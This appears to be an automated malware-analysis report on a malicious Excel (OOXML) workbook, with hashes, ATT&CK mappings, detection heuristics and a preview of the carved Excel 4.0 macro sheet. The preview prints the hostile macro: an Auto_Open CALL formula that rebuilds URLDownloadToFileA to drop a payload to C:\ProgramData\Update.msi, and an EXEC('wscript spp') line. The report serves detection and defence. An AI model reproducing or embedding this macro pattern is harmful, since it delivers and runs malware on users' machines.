Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ca95515dd5a38546…

MALICIOUS

Office (OOXML)

22.5 KB Created: 2006-04-02 03:07:01 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-24
MD5: 1a2f8e5b4e95e5dfbbc62992d3c613dd SHA-1: 740ee9852806757103b9e356c4bc900b3e641011 SHA-256: ca95515dd5a38546885a8d8770daaeea3efd27beb770dcc91db24513981f0fda
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

This Excel 4.0 macro sheet contains a defined name 'Auto_Open' which, when executed, uses the CALL function to invoke WinAPI functions. Specifically, it reconstructs the string 'URLDownloadToFileA' and uses it to download a file from 'the embedded link' to 'C:\ProgramData\Update.msi', likely to execute a second-stage payload. The use of CALL and EXEC functions in XLM macros is a critical indicator of malicious intent.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2178 bytes
SHA-256: 76b3742619558d182919c6031a899345b62cda7c65038f3a1734026f93b843d5
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="F2:F26"/><sheetViews><sheetView showFormulas="1" tabSelected="1" topLeftCell="C1" workbookViewId="0"><selection activeCell="F17" sqref="F17"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="6" max="6" width="48.7109375" bestFit="1" customWidth="1"/></cols><sheetData><row r="2" spans="6:6" x14ac:dyDescent="0.25"><c r="F2" t="s"><v>6</v></c></row><row r="3" spans="6:6" x14ac:dyDescent="0.25"><c r="F3" t="s"><v>7</v></c></row><row r="4" spans="6:6" x14ac:dyDescent="0.25"><c r="F4" t="s"><v>8</v></c></row><row r="8" spans="6:6" x14ac:dyDescent="0.25"><c r="F8" t="s"><v>2</v></c></row><row r="9" spans="6:6" x14ac:dyDescent="0.25"><c r="F9" t="s"><v>3</v></c></row><row r="11" spans="6:6" x14ac:dyDescent="0.25"><c r="F11" t="s"><v>4</v></c></row><row r="12" spans="6:6" x14ac:dyDescent="0.25"><c r="F12" t="s"><v>5</v></c></row><row r="17" spans="6:6" x14ac:dyDescent="0.25"><c r="F17" t="s"><v>0</v></c></row><row r="18" spans="6:6" x14ac:dyDescent="0.25"><c r="F18" t="s"><v>1</v></c></row><row r="20" spans="6:6" x14ac:dyDescent="0.25"><c r="F20" t="b"><f>CALL(F8&amp;F9,F17&amp;F18,F11&amp;F12&amp;F11,0,F2&amp;F3&amp;F4,F23&amp;F24&amp;F26,0,0)</f><v>0</v></c></row><row r="22" spans="6:6" x14ac:dyDescent="0.25"><c r="F22" t="s"><v>9</v></c></row><row r="23" spans="6:6" x14ac:dyDescent="0.25"><c r="F23" t="s"><v>10</v></c></row><row r="24" spans="6:6" x14ac:dyDescent="0.25"><c r="F24" t="s"><v>11</v></c></row><row r="26" spans="6:6" x14ac:dyDescent="0.25"><c r="F26"><f>EXEC("wscript spp")</f><v>33</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.